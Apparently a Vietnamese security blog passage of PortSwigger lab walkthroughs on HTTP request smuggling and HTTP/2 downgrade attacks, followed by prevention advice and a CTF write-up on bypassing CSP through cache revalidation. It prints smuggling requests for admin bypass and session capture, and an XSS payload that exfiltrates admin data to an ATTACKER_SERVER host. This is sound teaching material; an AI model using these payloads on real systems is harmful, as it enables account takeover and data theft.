Ở đây như các bạn thấy thì mình đã sử dụng CL-TE để có thể thêm request thứ 2 /admin vào nhưng server trả về lỗi 401 cùng với log

Tức là backend yêu cầu truy cập admin từ localhost ,Lúc này mình chỉ cần sửa lại request smuggle bên trong, thêm Host: localhost vào là xong.

Tuy nhiên, có một cái lỗi nhỏ: khi request tiếp theo của người dùng đến, nó sẽ bị dính vào sau cái request smuggle của mình. Để giải quyết, mình thêm header Content-Length vào request nội bộ đó để nó “nuốt” luôn các header của request sau, tránh làm hỏng cấu trúc request mình muốn gửi.

và cuối cùng chúng t cũng truy cập được admin panel

Truy cập trực tiếp để xóa thì không được nên mình xử lí request như lúc ban đầu tiếp

Và bài lab bypass Front-End server để có thể truy cập vào trang admin đã xong.

Bạn có thể làm tương tự với lỗ hổng TE-CL tại đây https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl

Revealing front-end request rewriting

Thường thì trước khi Request được chuyển tới backend server thì , FE server thường thực hiện rewrite lại yêu cầu bằng cách thêm các header được bổ sung

Ví dụ như : thêm X-fowarded-for chứa Ip user , xác định ID của user dựa trên session token hoặc thêm header xác định người dùng , hoặc 1 số header có 1 số thông tin nhạy cảm mà attacker có thể khai thác

Để có thể hình dung rõ hơn về cách thức tấn công , bạn và tui có thể làm thử bài lab này

Cũng như các bài lab khác , việc cần làm của chúng ta là truy cập vào /admin vốn bị block bởi FE server và xóa tài khoản Carlos

Đầu tiên khi duyêt tới trang admin thì được báo với lỗi là chỉ được truy cập bằng ip của localhost

Ở trang chủ có tính năng search nên mình thử search thì thấy input của mình nhập vào được hiển thị trên màn hình

Bắt thử request này trên Burp Suite thì thấy có tham số là search = hello

Phản hồi thứ hai sẽ chứa kết quả theo sau là phần bắt đầu của yêu cầu HTTP được viết lại.

Bởi vì server đã tiết lộ header quan trọng nên hãy ghi lại tiêu đề Host như trên để chúng ta có thể lấy header đó dùng cho mục đích là thêm vào ip 127.0.0.1

Kết quả là chúng ta đã có thể truy cập được admin panel , việc còn lại chỉ còn là gửi request để xóa tài khoản Carlos

Và done !!!!

Điều chúng ta có thể rút ra được trong bài lab này là Trong các hệ thống thực tế, Front-end (như Nginx, F5, Cloudflare) thường thêm các header ẩn (ví dụ: X-Forwarded-For hoặc một cái tên ngẫu nhiên như X-abcdef-Ip) để báo cho Backend biết IP thực của người dùng là gì. Backend sẽ dựa vào header này để quyết định có cho phép vào trang /admin hay không.

Bypassing client authentication

Trong quá trình TLS handshake, server sẽ xác thực danh tính của chính nó với client (thường là trình duyệt) bằng cách gửi certificate. Certificate này chứa Common Name (CN), và giá trị này phải khớp với domain của website để client xác nhận rằng nó đang giao tiếp đúng server mong muốn.

Ngoài việc server xác thực với client, một số hệ thống còn triển khai mutual TLS (mTLS), tức là phía client cũng phải cung cấp certificate cho server. Lúc này, trường CN trong certificate của client thường được dùng như một định danh người dùng (ví dụ username) và có thể được ứng dụng phía sau sử dụng để xử lý phân quyền hoặc xác thực.

Thông thường, thành phần đứng trước back-end (reverse proxy, load balancer hoặc front-end server) sẽ lấy thông tin từ client certificate rồi chuyển tiếp xuống ứng dụng thông qua các HTTP header không chuẩn. Ví dụ:

GET /admin HTTP/1.1Host: normal-website.comX-SSL-CLIENT-CN: carlos

Ở đây, header X-SSL-CLIENT-CN chứa CN của client certificate, và ứng dụng phía sau có thể dùng giá trị này để xác định người dùng là carlos.

Vấn đề nằm ở chỗ back-end thường tin tưởng tuyệt đối các header này vì chúng được cho là chỉ có front-end server mới có thể thêm vào. Nếu attacker kiểm soát được header với giá trị phù hợp, có khả năng sẽ bypass được cơ chế access control.

Trong thực tế, việc này thường không dễ khai thác vì front-end server sẽ tự động ghi đè (overwrite) những header như X-SSL-CLIENT-CN nếu client cố tình gửi lên.

Tuy nhiên, với HTTP Request Smuggling, request được “giấu” khỏi front-end server và đi thẳng xuống back-end. Điều đó có nghĩa là các header trong smuggled request sẽ không bị sửa hoặc ghi đè.

Ví dụ attacker có thể chèn một request như sau:

POST /example HTTP/1.1Host: vulnerable-website.comContent-Type: x-www-form-urlencodedContent-Length: 64Transfer-Encoding: chunked0GET /admin HTTP/1.1X-SSL-CLIENT-CN: administratorFoo: x

Trong trường hợp này, nếu back-end tin tưởng header X-SSL-CLIENT-CN, attacker có thể giả mạo danh tính của administrator để truy cập vào các tài nguyên bị hạn chế.

Capturing other users’ requests

Trong một số ứng dụng web, nếu tồn tại chức năng cho phép người dùng lưu trữ và hiển thị lại dữ liệu dạng text, ví dụ như bình luận, email, mô tả hồ sơ, tên hiển thị, tin nhắn, v.v., thì kẻ tấn công có thể lợi dụng các chức năng này để ghi lại một phần request của người dùng khác.

Kỹ thuật này thường xuất hiện trong bối cảnh HTTP Request Smuggling, khi front-end server và back-end server xử lý độ dài request không thống nhất với nhau. Nếu khai thác thành công, attacker có thể khiến request tiếp theo của nạn nhân bị nối vào body của một request đã được smuggle trước đó.

Để có thể hiểu rõ hơn thì chúng ta cùng đi sau vào phần bài tập sau đây

Bài lab này yêu cầu chúng ta có thể truy cập được vào tài khoản của nạn nhân

Lướt sơ qua trang thì chúng ta thấy 1 vài bài post với chức năng comment , mình thử để lại comment và intercep lại request thử có gì đặc biệt ko

Request này sẽ lưu nội dung trong tham số comment và hiển thị nó trên bài blog.

Điểm đáng chú ý là nếu attacker có thể smuggle một request tương tự, nhưng đặt tham số cần lưu trữ ở cuối body, ví dụ:

csrf=...&postId=2&name=...&email=...&website=...&comment=

thì bất kỳ dữ liệu nào bị nối thêm phía sau cũng có thể bị lưu vào phần comment.

đã capture được request của victim, vì có dấu hiệu rất rõ:

user-agent: Mozilla/5.0 (Victim) ...

Nhưng hiện tại mới capture tới đoạn:

accept:

chưa tới header Cookie. Nghĩa là Content-Length: 470 của request smuggled bên trong vẫn chưa đủ lớn để kéo thêm phần sau của request victim vào comment.

Nên tui tạo 1 request song song là Post với foo=bar cùng như nhiều dòng \r\n để có thể đủ cl

Một cái request tấn công là CL 960 , 1 cái gửi song song là 981 , vì sau nhiều lần test tui thấy thực tế body sau comment=helo chưa đủ 960 bytes. Backend vì thế vẫn chờ thêm dữ liệu trên cùng connection.Nên khi tui gửi 2 tab lần lượt thì thì backend lấy request tab 2 append vào phần còn thiếu của tab 1. Vì comment= nằm cuối, phần POST / HTTP/1.1 … foo=bar … bị lưu vào comment.

Mấy cái \r\n nhiều trong tab 2 có tác dụng như padding: nó làm request tab 2 dài hơn, đủ byte để thỏa Content-Length đang thiếu. Khi đủ byte, backend xử lý xong request comment và trả response, nênt có fix được đoạn này

Và sau nhiều lần test thử và tăng CL liên tục thì cuối cùng tui cũng lấy được session của Victim

Lấy sesson token đó và đăng nhập thì chúng ta có được tài khoản của của admin.

Advanced HTTP request smuggling

Sau khi đã hiểu các kỹ thuật request smuggling cơ bản như CL.TE, TE.CL hoặc TE.TE, phần nâng cao sẽ đi sâu hơn vào những biến thể phức tạp hơn, đặc biệt là các kỹ thuật liên quan đến HTTP/2.

Điểm thú vị là HTTP/2 ban đầu được xem là “an toàn hơn” trước request smuggling, vì giao thức này không xác định độ dài request bằng các header mơ hồ như Content-Length hay Transfer-Encoding theo cách HTTP/1.1 thường làm. Tuy nhiên, trong thực tế, rất nhiều hệ thống vẫn dùng HTTP/2 ở phía client nhưng lại chuyển đổi request xuống HTTP/1.1 khi giao tiếp với back-end. Quá trình này gọi là HTTP/2 downgrading.

Chính bước chuyển đổi này tạo ra nhiều bề mặt tấn công mới.

V. HTTP/2 request smuggling là gì?

Trong HTTP/2, dữ liệu không được gửi dưới dạng text thuần như HTTP/1.1, mà được chia thành nhiều frame nhị phân. Mỗi frame có trường độ dài riêng, giúp server biết chính xác cần đọc bao nhiêu byte.

Về lý thuyết, điều này làm request smuggling khó xảy ra hơn, vì attacker không còn dễ tạo ra sự mơ hồ giữa:

Content-Length

và:

Transfer-Encoding: chunked

Tuy nhiên, vấn đề xuất hiện khi front-end nhận request bằng HTTP/2, sau đó rewrite nó thành HTTP/1.1 để gửi về back-end.

Ví dụ:

Client --HTTP/2--> Front-end --HTTP/1.1--> Back-end

Nếu quá trình downgrade này xử lý header không chặt chẽ, attacker có thể lợi dụng để tạo ra request mà front-end và back-end hiểu khác nhau.

HTTP/2 downgrading

HTTP/2 downgrading là quá trình front-end chuyển một request HTTP/2 thành HTTP/1.1.

Việc này rất phổ biến vì nhiều hệ thống muốn hỗ trợ HTTP/2 cho người dùng bên ngoài, nhưng back-end cũ phía sau vẫn chỉ hỗ trợ HTTP/1.1.

Ví dụ HTTP/2 request có dạng logic như sau:

:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded

Khi downgrade sang HTTP/1.1, nó có thể trở thành:

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded

Nghe có vẻ bình thường, nhưng nếu attacker chèn thêm các header nhạy cảm như content-length hoặc transfer-encoding, front-end có thể xử lý theo logic HTTP/2, còn back-end lại xử lý theo logic HTTP/1.1. Đây chính là nền tảng của các lỗi H2.CL và H2.TE.

H2.CL vulnerabilities

H2.CL là biến thể request smuggling xảy ra khi attacker chèn header:

content-length

vào request HTTP/2.

Trong HTTP/2, độ dài request vốn được xác định bằng frame length, không cần dựa vào Content-Length. Nhưng khi front-end downgrade request sang HTTP/1.1, nó có thể copy header content-length do attacker cung cấp vào request gửi cho back-end.

Ví dụ phía front-end nhận HTTP/2 request:

:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
content-length 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1

Front-end dựa vào cơ chế HTTP/2 nên nghĩ request đã kết thúc đúng theo frame. Nhưng khi downgrade xuống HTTP/1.1, back-end nhìn thấy:

Content-Length: 0

và cho rằng body của request đầu tiên rỗng. Phần còn lại:

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

có thể bị hiểu thành một request mới được smuggle vào back-end.

Nói ngắn gọn: front-end dùng độ dài của HTTP/2, còn back-end dùng Content-Length của HTTP/1.1, dẫn đến desync.

Ở lab này, ứng dụng bị lỗi HTTP/2 request smuggling do front-end server downgrade request từ HTTP/2 xuống HTTP/1.1 nhưng xử lý Content-Length không chặt chẽ.

Mục tiêu của lab là khiến trình duyệt của victim tải và thực thi một file JavaScript độc hại từ exploit server, với payload:

alert(document.cookie)

Victim sẽ truy cập trang chủ định kỳ khoảng mỗi 10 giây, vì vậy ta cần smuggle request đúng thời điểm để request của victim bị ảnh hưởng.

Kiểm tra lỗ hổng

Trong Burp Repeater, cần chuyển request sang HTTP/2:

1. Mở request trong Repeater.
2. Mở panel Inspector.
3. Mở phần Request attributes.
4. Chuyển Protocol sang HTTP/2.

Sau đó gửi thử request:

POST / HTTP/2 
Host: YOUR-LAB-ID.web-security-academy.net 
Content-Length: 0 
SMUGGLED

Nếu gửi nhiều lần và thấy cứ mỗi request thứ hai trả về 404, điều đó cho thấy back-end đã append request tiếp theo vào prefix SMUGGLED.

Nói cách khác, ta đã tạo được desync giữa front-end và back-end.

Tiếp theo, kiểm tra endpoint /resources.

Ở trong phần target thì mình tìm được endpoint resources ,nên mình thử truy cập thì thấy rằng

Thì ta thấy rằng t sẽ được chuyển hướng đến https://YOUR-LAB-ID.web-security-academy.net/resources/.

Đây là gadget quan trọng. Nếu ta kiểm soát được header Host trong request đi đến back-end, ta có thể khiến redirect trỏ sang domain khác.

Smuggle request redirect

Ta tạo một HTTP/2 request có Content-Length: 0, nhưng trong body lại nhét một request HTTP/1.1

Khi front-end downgrade request này xuống HTTP/1.1, back-end sẽ thấy request POST / với Content-Length: 0, nên nó kết thúc request ngay. Phần phía sau:

GET /resources HTTP/1.1 Host: foo Content-Length: 5 x=1

sẽ bị giữ lại và có thể ảnh hưởng request tiếp theo trên connection.

Nếu thành công, request tiếp theo có thể bị redirect đến host ta kiểm soát.

Truy cập exploit server của lab và cấu hình như sau:

File path: /resources

Phần body đặt payload JavaScript:

alert(document.cookie)

Sau đó bấm Store.

Ý tưởng là khi victim bị redirect tới exploit server tại /resources/, trình duyệt sẽ tải nội dung JavaScript do ta kiểm soát.

Quay lại Burp Repeater, sửa request smuggled để header Host trỏ đến exploit server:

Gửi request vài lần. Nếu response trả về redirect sang exploit server, nghĩa là ta đã kiểm soát được redirect thông qua request smuggling.

Ví dụ response mong muốn sẽ có dạng:

HTTP/1.1 302 Found Location: https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/resources/

Trong lab này, /resources là một endpoint có hành vi redirect tự động sang /resources/.

Khi request bị smuggle với header:

Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net

back-end tạo redirect dựa trên Host header này. Kết quả là victim bị điều hướng sang exploit server.

Nếu thời điểm trúng đúng lúc browser của victim đang import JavaScript resource, payload:

alert(document.cookie) sẽ được thực thi trong trình duyệt victim.

Sau khi gửi payload H2.CL vài lần, mình kiểm tra access log trên exploit server. Khi thấy request GET /resources/ với User-Agent chứa Mozilla/5.0 (Victim), điều này chứng minh trình duyệt victim đã bị redirect sang exploit server. Do file /resources trên exploit server chứa payload alert(document.cookie), request này cho thấy JavaScript độc hại đã được tải trong ngữ cảnh victim. Lab sau đó chuyển trạng thái solved.

Ngoài ra còn 1 vài cách khác khá là hay nhưng vì bài viết cũng dài rồi nên các bạn có thể tự Research và làm thêm nhé.

H2.TE vulnerabilities

H2.TE là biến thể xảy ra khi attacker chèn header:

transfer-encoding: chunked

vào request HTTP/2.

Theo chuẩn, HTTP/2 không dùng chunked encoding. Vì vậy, nếu front-end thấy header này thì nó nên strip header đó hoặc block request. Nhưng nếu front-end không làm vậy và vẫn downgrade request xuống HTTP/1.1, back-end có thể xử lý Transfer-Encoding: chunked như một request HTTP/1.1 bình thường.

Ví dụ:

:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
transfer-encoding chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

Sau khi downgrade, back-end có thể nhận được:

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

Ở đây, 0 đánh dấu kết thúc chunked body. Phần sau đó có thể bị back-end xử lý như một request mới. Đây chính là request smuggling thông qua HTTP/2 downgrade.

Hidden HTTP/2 support

Một điểm dễ bị bỏ sót khi test là hidden HTTP/2 support.

Thông thường, browser hoặc Burp chỉ dùng HTTP/2 nếu server quảng bá hỗ trợ HTTP/2 thông qua ALPN trong quá trình TLS handshake. Tuy nhiên, có một số server thật ra vẫn hỗ trợ HTTP/2 nhưng cấu hình sai, không advertise đúng.

Kết quả là tester tưởng target chỉ hỗ trợ HTTP/1.1 và bỏ qua toàn bộ bề mặt tấn công liên quan đến HTTP/2.

Trong Burp Repeater, có thể ép request dùng HTTP/2 bằng cách:

1. Vào Settings.
2. Chọn Tools > Repeater.
3. Bật Allow HTTP/2 ALPN override.
4. Trong Repeater, mở Inspector.
5. Ở phần Request attributes, đổi Protocol sang HTTP/2.

Điều này cho phép kiểm tra xem server có hidden HTTP/2 support hay không.

Response queue poisoning

Response queue poisoning là một kỹ thuật request smuggling nguy hiểm hơn rất nhiều so với việc chỉ capture một request.

Thay vì chỉ làm back-end hiểu sai một request, attacker có thể làm lệch hàng đợi response giữa front-end và back-end. Khi đó, response đáng lẽ thuộc về người dùng A có thể bị gửi nhầm cho attacker hoặc người dùng B.

Nếu khai thác thành công, attacker có thể đánh cắp response chứa dữ liệu nhạy cảm như:

Set-Cookie

hoặc nội dung trang tài khoản của người dùng khác.

Mức độ ảnh hưởng có thể rất nghiêm trọng, thậm chí dẫn đến takeover nhiều tài khoản hoặc toàn bộ ứng dụng nếu response chứa thông tin đặc quyền.

Request smuggling qua CRLF injection

Một kỹ thuật nâng cao khác trong HTTP/2 là lợi dụng CRLF injection.

Trong HTTP/1.1, chuỗi:

\r\n

được dùng để phân tách các header. Vì vậy, nếu attacker có thể chèn \r\n vào header, họ có thể tạo ra header mới.

Trong HTTP/2, header không được phân tách bằng ký tự text như HTTP/1.1. Nó là dữ liệu nhị phân, nên \r\n trong giá trị header chỉ là một phần của value, không có ý nghĩa đặc biệt với front-end.

Ví dụ trong HTTP/2:

foo: bar\r\nTransfer-Encoding: chunked

Front-end HTTP/2 có thể xem đây chỉ là một header foo có value dài. Nhưng khi downgrade sang HTTP/1.1, back-end có thể thấy:

Foo: bar Transfer-Encoding: chunked

Tức là attacker đã chèn được một header mới vào request HTTP/1.1 sau khi downgrade.

Đây là lý do HTTP/2 downgrade có thể mở ra những hướng tấn công mới mà HTTP/1.1 thông thường khó khai thác hơn.

HTTP/2 request splitting

HTTP/2 request splitting là kỹ thuật tách một request HTTP/2 thành nhiều request HTTP/1.1 sau khi downgrade.

Điểm mạnh của kỹ thuật này là attacker không nhất thiết phải dùng request có body như POST. Ngay cả một request GET cũng có thể bị lợi dụng nếu chèn được CRLF vào header.

Ví dụ ý tưởng:

:method GET :path / :authority vulnerable-website.com foo: bar\r\n \r\n GET /admin HTTP/1.1\r\n Host: vulnerable-website.com

Khi downgrade, back-end có thể hiểu đây là hai request riêng biệt:

GET / HTTP/1.1 Host: vulnerable-website.com Foo: bar

và:

GET /admin HTTP/1.1 Host: vulnerable-website.com

Tuy nhiên, khi thực hiện request splitting, cần chú ý cách front-end rewrite request. Ví dụ, front-end có thể tự thêm header Host ở cuối danh sách header. Nếu split xảy ra trước vị trí đó, request đầu tiên có thể bị thiếu Host, còn request thứ hai lại có dư Host.

Do đó, attacker cần tính toán vị trí header được inject sao cho cả request thật và request smuggled đều hợp lệ với back-end.

HTTP request tunnelling

HTTP request tunnelling là một hướng khai thác nâng cao hơn, hữu ích trong trường hợp front-end và back-end không tái sử dụng connection.

Nhiều kỹ thuật request smuggling truyền thống phụ thuộc vào việc nhiều request cùng đi qua một connection backend. Nếu connection không được reuse, việc smuggle request trở nên khó hơn.

Request tunnelling giải quyết vấn đề này bằng cách lợi dụng cách server xử lý request và response sớm, từ đó tạo ra kênh để đưa request phụ đi qua request chính. Đây là nền tảng cho một số kỹ thuật hiện đại như 0.CL desync.

0.CL request smuggling

0.CL xảy ra khi front-end bỏ qua Content-Length, nhưng back-end lại xử lý nó.

Trước đây, kiểu lỗi này từng được xem là khó khai thác vì dễ gây deadlock: front-end và back-end chờ nhau, không bên nào hoàn tất request.

Tuy nhiên, khi kết hợp với early-response gadget, attacker có thể khiến back-end trả response trước khi đọc xong toàn bộ body. Từ đó phá deadlock và tiếp tục tạo desync.

Đây là một kỹ thuật phức tạp hơn, nhưng nó cho thấy request smuggling vẫn còn nhiều biến thể nguy hiểm ngay cả khi các lỗi CL.TE hoặc TE.CL cơ bản đã được vá.

Tổng kết

Advanced request smuggling cho thấy vấn đề không chỉ nằm ở HTTP/1.1. Khi HTTP/2 được triển khai cùng HTTP/1.1 thông qua cơ chế downgrade, rất nhiều lỗi mới có thể xuất hiện.

Các điểm quan trọng cần nhớ:

1. HTTP/2 tự nó có cơ chế xác định độ dài request khá rõ ràng.
2. Rủi ro lớn xuất hiện khi HTTP/2 bị downgrade sang HTTP/1.1.
3. H2.CL lợi dụng content-length không được validate đúng.
4. H2.TE lợi dụng transfer-encoding: chunked không bị strip/block.
5. CRLF injection trong HTTP/2 có thể biến thành header injection sau khi downgrade.
6. Request splitting có thể tách một request HTTP/2 thành nhiều request HTTP/1.1 ở back-end.
7. Response queue poisoning có thể làm lộ response của người dùng khác.
8. 0.CL và request tunnelling cho thấy request smuggling vẫn còn nguy hiểm ngay cả khi connection reuse không rõ ràng.

Tóm lại, HTTP/2 không tự động làm request smuggling biến mất. Nếu hệ thống downgrade HTTP/2 sang HTTP/1.1 không an toàn, nó thậm chí có thể tạo ra những vector tấn công mạnh hơn so với các kỹ thuật truyền thống.

VI. Cách phòng ngừa các lỗ hổng tấn công HTTP request smuggling

HTTP Request Smuggling xảy ra khi front-end server và back-end server hiểu request theo hai cách khác nhau, dẫn đến việc ranh giới giữa các request bị diễn giải sai lệch. Điều này thường xuất hiện khi một phía xử lý request dựa trên Content-Length, trong khi phía còn lại ưu tiên Transfer-Encoding: chunked.

Ngoài ra, trong môi trường HTTP/2, nhiều hệ thống thường thực hiện HTTP downgrading (chuyển request từ HTTP/2 xuống HTTP/1.1 trước khi gửi đến back-end). Nếu việc chuyển đổi này không được xử lý cẩn thận, nó có thể mở ra thêm nhiều biến thể của request smuggling.

Để giảm thiểu rủi ro, có thể áp dụng một số biện pháp sau:

1. Sử dụng HTTP/2 end-to-end nếu có thể

Về bản chất, HTTP/2 sử dụng cơ chế frame-based để xác định độ dài request thay vì phụ thuộc vào Content-Length hay Transfer-Encoding. Điều này giúp loại bỏ phần lớn các ambiguity vốn là nguyên nhân của request smuggling.

Do đó, nếu hạ tầng cho phép, nên triển khai HTTP/2 xuyên suốt từ client đến back-end và hạn chế việc downgrade xuống HTTP/1.1.

Trong trường hợp bắt buộc phải downgrade, cần validate request thật chặt chẽ trước khi rewrite sang HTTP/1.1. Ví dụ:

• Từ chối request chứa ký tự newline bất thường trong header
• Reject header name chứa dấu :
• Không chấp nhận request method có khoảng trắng hoặc format không hợp lệ
• Loại bỏ các request malformed hoặc có dấu hiệu ambiguity

2. Chuẩn hóa request ở front-end và validate lại ở back-end

Một trong những nguyên nhân lớn nhất của request smuggling là sự không đồng nhất giữa các thành phần xử lý HTTP.

Front-end nên thực hiện normalize request trước khi chuyển tiếp, ví dụ:

• Chỉ chấp nhận một cơ chế xác định body (Content-Length hoặc Transfer-Encoding)
• Loại bỏ duplicated header bất thường
• Chuẩn hóa line ending và encoding

Trong khi đó, back-end không nên “tin tưởng” request đã được xử lý phía trước. Nếu request vẫn còn ambiguity, tốt nhất là reject ngay và đóng TCP connection để tránh connection reuse bị lợi dụng.

3. Không giả định rằng request sẽ không có body

Nhiều hệ thống thường giả định rằng các method như GET, HEAD hoặc một số endpoint nhất định sẽ không bao giờ có request body. Đây chính là nguyên nhân dẫn đến các kỹ thuật như:

• CL.0 smuggling
• Client-side desync attacks

Vì vậy, server nên luôn xử lý request body một cách nhất quán thay vì dựa vào assumption.

4. Đóng connection khi xảy ra lỗi xử lý request

Nếu trong quá trình parse hoặc xử lý request xuất hiện exception ở cấp server, việc tiếp tục reuse connection có thể tạo điều kiện cho attacker poison request queue.

Một biện pháp an toàn là:

Khi gặp lỗi parsing hoặc request bất thường → đóng connection ngay thay vì giữ lại.

Điều này giúp hạn chế khả năng request tiếp theo bị “dính” dữ liệu còn sót lại từ request trước.

5. Nếu dùng proxy, ưu tiên HTTP/2 upstream

Trong hệ thống có forward proxy hoặc reverse proxy, nên bật upstream HTTP/2 nếu có thể.

Lý do là càng ít bước chuyển đổi giao thức (protocol translation), khả năng xảy ra parsing discrepancy càng thấp.

6. Hạn chế hoặc tắt connection reuse với back-end

Một số biến thể request smuggling phụ thuộc vào việc persistent connection / connection reuse được bật giữa front-end và back-end.

Việc disable reuse hoặc giảm thời gian keep-alive có thể giúp giảm tác động của một số kỹ thuật tấn công.

Tuy nhiên cần lưu ý rằng:

Đây chỉ là biện pháp giảm thiểu (mitigation), không phải giải pháp triệt để.

Bởi attacker vẫn có thể khai thác các kỹ thuật như request tunnelling, ngay cả khi connection reuse đã bị vô hiệu hóa.

7. Đồng bộ parser giữa các tầng hệ thống (khuyến nghị thực tế)

Trong thực tế, nhiều lỗ hổng request smuggling xuất hiện do:

• CDN parse request kiểu này
• WAF parse kiểu khác
• Reverse proxy hiểu khác
• Back-end framework lại hiểu theo cách riêng

Nếu có thể, nên sử dụng các thành phần HTTP stack tương thích với nhau hoặc kiểm tra kỹ cách mỗi layer xử lý:

• Content-Length
• Transfer-Encoding
• duplicate headers
• malformed chunk
• whitespace bất thường

Việc test parser discrepancy định kỳ cũng rất quan trọng, đặc biệt trong các hệ thống microservice hoặc multi-proxy.

Tài liệu tham khảo

• PortSwigger: HTTP Desync Attacks - Request Smuggling Reborn
• PortSwigger: Web Security Academy - HTTP Request Smuggling
• Google Docs: HTTP Request Smuggling Notes

Event: BKISC CTF
Challenge Name: Secure Notes
Category: Web
Difficulty: Hard
Points: 475

Challenge Description:

A secure note service.
- Objective: Thực thi mã XSS trên trình duyệt của Admin Bot để lấy flag tại `/api/admin/data`.
- Initial access: Source code NodeJS/ExpressJS đính kèm. Bot tự động sử dụng Puppeteer để truy cập URL được report.

Initial Reconnaissance

Understanding the Challenge

• Goal: Đọc được nội dung /api/admin/data (chứa flag) mà chỉ Admin mới có quyền truy cập.
• Type: Web Security (XSS, Content Security Policy, HTTP Caching).
• Skills Required: Hiểu rõ cơ chế HTTP Caching (ETag, 304 Not Modified), ExpressJS response lifecycle, và CSP.

Information Gathering

Đọc source code (app.js), ta thấy các điểm đáng chú ý sau:

1. Endpoint POST /api/note cho phép tạo ghi chú. Nó có filter thẻ <meta> nhưng hoàn toàn cho phép thẻ <script> => Stored XSS.
2. Endpoint GET /note/:id trả về giao diện xem ghi chú. Mặc định nó đi kèm với Header CSP rất chặt chẽ sử dụng Nonce ngẫu nhiên: script-src 'nonce-...';. Điều này khiến mã XSS của ta không thể chạy.
3. Bot sử dụng headless Chrome (Puppeteer) và không bị disable cache.

Key Observations: Điểm thú vị nhất nằm ở logic xử lý CSP của endpoint GET /note/:id:

const isConditional = !!req.headers['if-none-match'];

if (!isConditional) {
    note.lastFreshView = Date.now();
}

const shareAfterLastView = note.shareTime && note.lastFreshView && note.shareTime > note.lastFreshView;

if (note.shared && isConditional && shareAfterLastView) {
    res.setHeader('Content-Security-Policy', "default-src * 'unsafe-inline'; script-src 'unsafe-inline' *; connect-src *; img-src *");
} else {
    const nonce = crypto.randomBytes(16).toString('base64');
    res.setHeader('Content-Security-Policy', `default-src 'self'; script-src 'nonce-${nonce}'`);
}
res.setHeader('Cache-Control', 'no-cache');
res.send(`...`);

Enumeration & Analysis

Step 1: Identify the Vulnerability

Mục tiêu là chui vào nhánh if bên trên để CSP trở thành 'unsafe-inline', từ đó mã XSS có thể hoạt động. Để vào được nhánh này, ta cần 3 điều kiện:

1. note.shared == true
2. isConditional == true (Request phải có header If-None-Match).
3. shareAfterLastView == true (Thời gian share note phải LỚN HƠN thời gian note được truy cập lần cuối cùng mà không dùng cache).

Step 2: Understand the Attack Vector

Tại sao HTTP 304 lại nguy hiểm ở đây? Hàm res.send() của Express mặc định tự động tính toán ETag cho nội dung HTML trả về.

• Mặc dù Header có Cache-Control: no-cache, trình duyệt vẫn sẽ lưu HTML vào cache, nhưng bị bắt buộc phải xác thực lại (revalidate) với server ở lần truy cập kế tiếp bằng cách gửi header If-None-Match: <ETag>.
• Về phía Bot (user admin), nội dung HTML sinh ra hoàn toàn không có sự khác biệt (do Bot không phải owner của bài viết, nên thẻ <button> Share/Unshare không được render). Điều này khiến ETag ở lần 1 và lần 2 giống hệt nhau.
• Khi Express thấy ETag khớp, nó sẽ chuyển HTTP Status thành 304 Not Modified, cắt bỏ body HTML và chỉ trả về các Headers.
• Trình duyệt khi nhận HTTP 304 sẽ tiến hành cập nhật (ghi đè) các Headers mới vào Cache cũ. Nhờ đó, CSP lỏng lẻo mới sẽ được áp dụng trực tiếp lên đoạn HTML chứa mã XSS đang nằm sẵn trong Cache!

Exploitation

Attack Strategy

Hypothesis: Ta sẽ thao túng quá trình duyệt web của Admin Bot thông qua một trang web do ta tự host (Exploit Page).

Exploitation Steps

Step 1: Chuẩn bị Note chứa XSS

Tạo một Note mới (chưa share) với nội dung:

<script>
    fetch('/api/admin/data')
        .then(r => r.text())
        .then(d => fetch('https://ATTACKER_SERVER/flag?data=' + encodeURIComponent(d)))
</script>

Step 2: Đầu độc Cache của Bot (Phase 1)

Báo cáo (report) trang Exploit của chúng ta cho Admin Bot. Trang Exploit sẽ dùng window.open('/note/ID') để ép Bot mở Note lên.

• Bot truy cập lần 1 -> Lưu HTML chứa XSS vào Cache với CSP an toàn.
• Lúc này lastFreshView trên server cập nhật thành thời điểm hiện tại.

Step 3: Trigger tính năng Share

Sau khi Bot đã lưu cache (khoảng 1.5 giây), trang Exploit gọi về server Attacker để tự động trigger API /api/note/ID/share.

• Lúc này note.shareTime sẽ được cập nhật và chắc chắn lớn hơn lastFreshView của Bot.

Step 4: Re-validation & Execute (Phase 2)

Trang Exploit ép cửa sổ window.open tải lại (w.location = ...).

• Trình duyệt Bot tìm thấy Cache cũ -> Gửi request kèm If-None-Match.
• Server kiểm tra: note.shared (OK) + isConditional (OK) + shareAfterLastView (OK) -> Trả về CSP unsafe-inline cùng mã 304 Not Modified.
• Trình duyệt Bot cập nhật CSP mới vào Cache -> XSS được thực thi -> Lấy Flag!

Final Exploit Code

// solve.js - Đoạn mã gắn trên trang Exploit của Hacker
let w = window.open('http://localhost:3000/note/ID_CUA_NOTE', 'target');
        
setTimeout(() => {
    // Kích hoạt API Share
    fetch('https://ATTACKER_SERVER/share').then(() => {
        // Ép bot load lại url để lấy 304
        w.location = 'http://localhost:3000/note/ID_CUA_NOTE';
    });
}, 1500);

Result:

[!!!] FLAG RECEIVED [!!!]
{"flag":"BKISC{I_th0ught_I_w4s_s3cur3_but_chr0me_1s_4lw4ys_s0m3thing_n3w_69e086984dab}"}

Key Lessons Learned

Technical Insights

1. Vulnerability Root Cause
   • Sự nguy hiểm tiềm tàng khi thay đổi các Security Headers (như CSP) dựa trên trạng thái cache (If-None-Match).
   • Việc lạm dụng tính năng Auto-ETag của Express khi dữ liệu nhạy cảm được nhúng động.
2. Attack Pattern Recognition
   • Khi gặp một bài Web có Stored XSS nhưng bị vướng CSP chặt, hãy kiểm tra ngay các Endpoint có xử lý If-None-Match, ETag, hoặc trả về HTTP 304.
